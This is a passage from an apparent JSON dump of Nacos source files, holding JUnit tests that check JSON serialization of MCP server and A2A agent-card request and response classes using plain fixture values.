assertEquals(AiRemoteConstants.BATCH_REGISTER_ENDPOINT, request.getType());\n    }\n    \n    private AgentEndpoint createTestEndpoint1() {\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setTransport(\"JSONRPC\");\n        endpoint.setAddress(\"127.0.0.1\");\n        endpoint.setPort(8848);\n        endpoint.setVersion(\"1.0.0\");\n        return endpoint;\n    }\n    \n    private AgentEndpoint createTestEndpoint2() {\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setTransport(\"GRPC\");\n        endpoint.setAddress(\"192.168.1.100\");\n        endpoint.setPort(9090);\n        endpoint.setSupportTls(true);\n        endpoint.setVersion(\"2.0.0\");\n        return endpoint;\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/request/McpServerEndpointRequestTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerEndpointRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        McpServerEndpointRequest request = new McpServerEndpointRequest();\n        String id = UUID.randomUUID().toString();\n        request.setRequestId(\"1\");\n        request.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        request.setMcpName(\"testMcpName\");\n        request.setMcpId(id);\n        request.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        request.setAddress(\"1.1.1.1\");\n        request.setPort(3306);\n        request.setVersion(\"1.0.0\");\n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"mcpName\\\":\\\"testMcpName\\\"\"));\n        assertTrue(json.contains(String.format(\"\\\"mcpId\\\":\\\"%s\\\"\", id)));\n        assertTrue(json.contains(String.format(\"\\\"type\\\":\\\"%s\\\"\", AiRemoteConstants.REGISTER_ENDPOINT)));\n        assertTrue(json.contains(\"\\\"address\\\":\\\"1.1.1.1\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"port\\\":3306\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json =\n                \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"public\\\",\\\"mcpId\\\":\\\"2aaebf2d-4b7b-4ab9-9ad2-1e60355ae041\\\",\"\n                        + \"\\\"mcpName\\\":\\\"testMcpName\\\",\\\"address\\\":\\\"1.1.1.1\\\",\\\"port\\\":3306,\\\"version\\\":\\\"1.0.0\\\",\"\n                        + \"\\\"type\\\":\\\"registerEndpoint\\\",\\\"module\\\":\\\"ai\\\"}\";\n        McpServerEndpointRequest result = mapper.readValue(json, McpServerEndpointRequest.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertEquals(\"testMcpName\", result.getMcpName());\n        assertEquals(\"2aaebf2d-4b7b-4ab9-9ad2-1e60355ae041\", result.getMcpId());\n        assertEquals(\"1.1.1.1\", result.getAddress());\n        assertEquals(3306, result.getPort());\n        assertEquals(\"1.0.0\", result.getVersion());\n        assertEquals(AiRemoteConstants.REGISTER_ENDPOINT, result.getType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/request/QueryAgentCardRequestTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass QueryAgentCardRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        QueryAgentCardRequest request = new QueryAgentCardRequest();\n        String id = UUID.randomUUID().toString();\n        request.setRequestId(\"1\");\n        request.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        request.setAgentName(\"testAgent\");\n        request.setVersion(\"1.0.0\");\n        request.setRegistrationType(AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE);\n        \n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"agentName\\\":\\\"testAgent\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"registrationType\\\":\\\"SERVICE\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"public\\\",\\\"agentName\\\":\\\"testAgent\\\",\"\n                + \"\\\"version\\\":\\\"1.0.0\\\",\\\"registrationType\\\":\\\"SERVICE\\\",\\\"module\\\":\\\"ai\\\"}\";\n        QueryAgentCardRequest result = mapper.readValue(json, QueryAgentCardRequest.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertEquals(\"testAgent\", result.getAgentName());\n        assertEquals(\"1.0.0\", result.getVersion());\n        assertEquals(AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE, result.getRegistrationType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/request/QueryMcpServerRequestTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass QueryMcpServerRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        QueryMcpServerRequest request = new QueryMcpServerRequest();\n        String id = UUID.randomUUID().toString();\n        request.setRequestId(\"1\");\n        request.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        request.setMcpName(\"testMcpName\");\n        request.setMcpId(id);\n        request.setVersion(\"1.0.0\");\n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"mcpName\\\":\\\"testMcpName\\\"\"));\n        assertTrue(json.contains(String.format(\"\\\"mcpId\\\":\\\"%s\\\"\", id)));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json =\n                \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"public\\\",\\\"mcpId\\\":\\\"2aaebf2d-4b7b-4ab9-9ad2-1e60355ae041\\\",\"\n                        + \"\\\"mcpName\\\":\\\"testMcpName\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"module\\\":\\\"ai\\\"}\";\n        QueryMcpServerRequest result = mapper.readValue(json, QueryMcpServerRequest.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertEquals(\"testMcpName\", result.getMcpName());\n        assertEquals(\"2aaebf2d-4b7b-4ab9-9ad2-1e60355ae041\", result.getMcpId());\n        assertEquals(\"1.0.0\", result.getVersion());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/request/ReleaseAgentCardRequestTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ReleaseAgentCardRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        ReleaseAgentCardRequest request = new ReleaseAgentCardRequest();\n        String id = UUID.randomUUID().toString();\n        request.setRequestId(\"1\");\n        request.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        request.setAgentName(\"testAgent\");\n        request.setRegistrationType(AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE);\n        request.setSetAsLatest(true);\n        \n        AgentCard agentCard = new AgentCard();\n        agentCard.setName(\"testAgentCard\");\n        agentCard.setVersion(\"1.0.0\");\n        request.setAgentCard(agentCard);\n        \n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"agentName\\\":\\\"testAgent\\\"\"));\n        assertTrue(json.contains(\"\\\"registrationType\\\":\\\"SERVICE\\\"\"));\n        assertTrue(json.contains(\"\\\"setAsLatest\\\":true\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"testAgentCard\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"public\\\",\\\"agentName\\\":\\\"testAgent\\\",\"\n                + \"\\\"agentCard\\\":{\\\"protocolVersion\\\":null,\\\"name\\\":\\\"testAgentCard\\\",\\\"description\\\":null,\\\"version\\\":\\\"1.0.0\\\",\"\n                + \"\\\"iconUrl\\\":null,\\\"capabilities\\\":null,\\\"skills\\\":null,\\\"url\\\":null,\\\"preferredTransport\\\":null,\"\n                + \"\\\"additionalInterfaces\\\":null,\\\"provider\\\":null,\\\"documentationUrl\\\":null,\\\"securitySchemes\\\":null,\"\n                + \"\\\"security\\\":null,\\\"defaultInputModes\\\":null,\\\"defaultOutputModes\\\":null,\"\n                + \"\\\"supportsAuthenticatedExtendedCard\\\":null},\"\n                + \"\\\"registrationType\\\":\\\"SERVICE\\\",\\\"setAsLatest\\\":true,\\\"module\\\":\\\"ai\\\"}\";\n        ReleaseAgentCardRequest result = mapper.readValue(json, ReleaseAgentCardRequest.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertEquals(\"testAgent\", result.getAgentName());\n        assertEquals(AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE, result.getRegistrationType());\n        assertEquals(true, result.isSetAsLatest());\n        \n        AgentCard agentCard = result.getAgentCard();\n        assertNotNull(agentCard);\n        assertEquals(\"testAgentCard\", agentCard.getName());\n        assertEquals(\"1.0.0\", agentCard.getVersion());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/request/ReleaseMcpServerRequestTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.request;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ReleaseMcpServerRequestTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        String id = UUID.randomUUID().toString();\n        request.setRequestId(\"1\");\n        request.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        request.setMcpName(\"testMcpName\");\n        request.setMcpId(id);\n        McpServerBasicInfo serverSpecification = new McpServerBasicInfo();\n        serverSpecification.setName(\"testServerName\");\n        serverSpecification.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        serverSpecification.setFrontProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        request.setServerSpecification(serverSpecification);\n        McpToolSpecification toolSpecification = new McpToolSpecification();\n        request.setToolSpecification(toolSpecification);\n        request.setEndpointSpecification(new McpEndpointSpec());\n        request.getEndpointSpecification().setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        request.getEndpointSpecification().setData(new HashMap<>());\n        request.getEndpointSpecification().getData().put(\"address\", \"127.0.0.1\");\n        request.getEndpointSpecification().getData().put(\"port\", \"8848\");\n        String json = mapper.writeValueAsString(request);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"mcpName\\\":\\\"testMcpName\\\"\"));\n        assertTrue(json.contains(\"\\\"serverSpecification\\\":{\"));\n        assertTrue(json.contains(\"\\\"toolSpecification\\\":{\"));\n        assertTrue(json.contains(\"\\\"tools\\\":[]\"));\n        assertTrue(json.contains(\"\\\"toolsMeta\\\":{}\"));\n        assertTrue(json.contains(\"\\\"endpointSpecification\\\":{\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"DIRECT\\\"\"));\n        assertTrue(json.contains(String.format(\"\\\"mcpId\\\":\\\"%s\\\"\", id)));\n        assertTrue(json.contains(String.format(\"\\\"protocol\\\":\\\"%s\\\"\", AiConstants.Mcp.MCP_PROTOCOL_STDIO)));\n        assertTrue(json.contains(String.format(\"\\\"frontProtocol\\\":\\\"%s\\\"\", AiConstants.Mcp.MCP_PROTOCOL_STDIO)));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json =\n                \"{\\\"headers\\\":{},\\\"requestId\\\":\\\"1\\\",\\\"namespaceId\\\":\\\"public\\\",\\\"mcpId\\\":\\\"bbd8036e-4f17-4ed8-befc-a08b6fd5978d\\\",\"\n                        + \"\\\"mcpName\\\":\\\"testMcpName\\\",\\\"serverSpecification\\\":{\\\"name\\\":\\\"testServerName\\\",\\\"protocol\\\":\\\"stdio\\\",\"\n                        + \"\\\"frontProtocol\\\":\\\"stdio\\\",\\\"enabled\\\":true},\\\"toolSpecification\\\":{\\\"tools\\\":[],\\\"toolsMeta\\\":{},\"\n                        + \"\\\"securitySchemes\\\":[]},\\\"endpointSpecification\\\":{\\\"type\\\":\\\"DIRECT\\\",\\\"data\\\":{\\\"address\\\":\\\"127.0.0.1\\\",\"\n                        + \"\\\"port\\\":\\\"8848\\\"}},\\\"module\\\":\\\"ai\\\"}\";\n        ReleaseMcpServerRequest result = mapper.readValue(json, ReleaseMcpServerRequest.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, result.getNamespaceId());\n        assertEquals(\"testMcpName\", result.getMcpName());\n        assertEquals(\"bbd8036e-4f17-4ed8-befc-a08b6fd5978d\", result.getMcpId());\n        McpServerBasicInfo serverSpecification = result.getServerSpecification();\n        assertEquals(\"testServerName\", serverSpecification.getName());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, serverSpecification.getProtocol());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, serverSpecification.getFrontProtocol());\n        McpToolSpecification toolSpec = result.getToolSpecification();\n        assertNotNull(toolSpec);\n        McpEndpointSpec endpointSpec = result.getEndpointSpecification();\n        assertNotNull(endpointSpec);\n        assertEquals(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT, endpointSpec.getType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/response/AgentEndpointResponseTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass AgentEndpointResponseTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        AgentEndpointResponse response = new AgentEndpointResponse();\n        response.setRequestId(\"1\");\n        response.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        String json = mapper.writeValueAsString(response);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(String.format(\"\\\"type\\\":\\\"%s\\\"\", AiRemoteConstants.REGISTER_ENDPOINT)));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"1\\\",\\\"type\\\":\\\"registerEndpoint\\\",\\\"success\\\":true}\";\n        AgentEndpointResponse result = mapper.readValue(json, AgentEndpointResponse.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(AiRemoteConstants.REGISTER_ENDPOINT, result.getType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/response/McpServerEndpointResponseTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerEndpointResponseTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        McpServerEndpointResponse response = new McpServerEndpointResponse();\n        response.setRequestId(\"1\");\n        response.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        String json = mapper.writeValueAsString(response);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(String.format(\"\\\"type\\\":\\\"%s\\\"\", AiRemoteConstants.REGISTER_ENDPOINT)));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"1\\\",\\\"type\\\":\\\"registerEndpoint\\\",\\\"success\\\":true}\";\n        McpServerEndpointResponse result = mapper.readValue(json, McpServerEndpointResponse.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        assertEquals(AiRemoteConstants.REGISTER_ENDPOINT, result.getType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/response/QueryAgentCardResponseTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass QueryAgentCardResponseTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        final QueryAgentCardResponse response = new QueryAgentCardResponse();\n        AgentCardDetailInfo agentCardDetailInfo = new AgentCardDetailInfo();\n        agentCardDetailInfo.setName(\"testAgent\");\n        agentCardDetailInfo.setVersion(\"1.0.0\");\n        agentCardDetailInfo.setDescription(\"Test Agent Description\");\n        response.setAgentCardDetailInfo(agentCardDetailInfo);\n        response.setRequestId(\"1\");\n        String json = mapper.writeValueAsString(response);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"agentCardDetailInfo\\\":{\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"testAgent\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"Test Agent Description\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"1\\\",\\\"agentCardDetailInfo\\\":\"\n                + \"{\\\"name\\\":\\\"testAgent\\\",\\\"version\\\":\\\"1.0.0\\\",\\\"description\\\":\\\"Test Agent Description\\\"},\\\"success\\\":true}\";\n        QueryAgentCardResponse result = mapper.readValue(json, QueryAgentCardResponse.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        AgentCardDetailInfo agentCardDetailInfo = result.getAgentCardDetailInfo();\n        assertNotNull(agentCardDetailInfo);\n        assertEquals(\"testAgent\", agentCardDetailInfo.getName());\n        assertEquals(\"1.0.0\", agentCardDetailInfo.getVersion());\n        assertEquals(\"Test Agent Description\", agentCardDetailInfo.getDescription());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/response/QueryMcpServerResponseTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.remote.response;\n\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass QueryMcpServerResponseTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws Exception {\n        QueryMcpServerResponse response = new QueryMcpServerResponse();\n        String id = UUID.randomUUID().toString();\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setId(id);\n        mcpServerDetailInfo.setName(\"testMcpName\");\n        response.setMcpServerDetailInfo(mcpServerDetailInfo);\n        response.setRequestId(\"1\");\n        String json = mapper.writeValueAsString(response);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"1\\\"\"));\n        assertTrue(json.contains(\"\\\"mcpServerDetailInfo\\\":{\"));\n        assertTrue(json.contains(String.format(\"\\\"id\\\":\\\"%s\\\"\", id)));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"testMcpName\\\"\"));\n        assertTrue(json.contains(\"\\\"enabled\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws Exception {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"requestId\\\":\\\"1\\\",\\\"mcpServerDetailInfo\\\":\"\n                + \"{\\\"id\\\":\\\"27dde181-cc8f-442f-a63d-2d2dc64735d8\\\",\\\"name\\\":\\\"testMcpName\\\",\\\"enabled\\\":true},\\\"success\\\":true}\";\n        QueryMcpServerResponse result = mapper.readValue(json, QueryMcpServerResponse.class);\n        assertNotNull(result);\n        assertEquals(\"1\", result.getRequestId());\n        McpServerDetailInfo mcpServerDetailInfo = result.getMcpServerDetailInfo();\n        assertNotNull(mcpServerDetailInfo);\n        assertEquals(\"27dde181-cc8f-442f-a63d-2d2dc64735d8\", mcpServerDetailInfo.getId());\n        assertEquals(\"testMcpName\", mcpServerDetailInfo.getName());\n        assertTrue(mcpServerDetailInfo.isEnabled());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/remote/response/ReleaseAgentCardResponseTest.java",
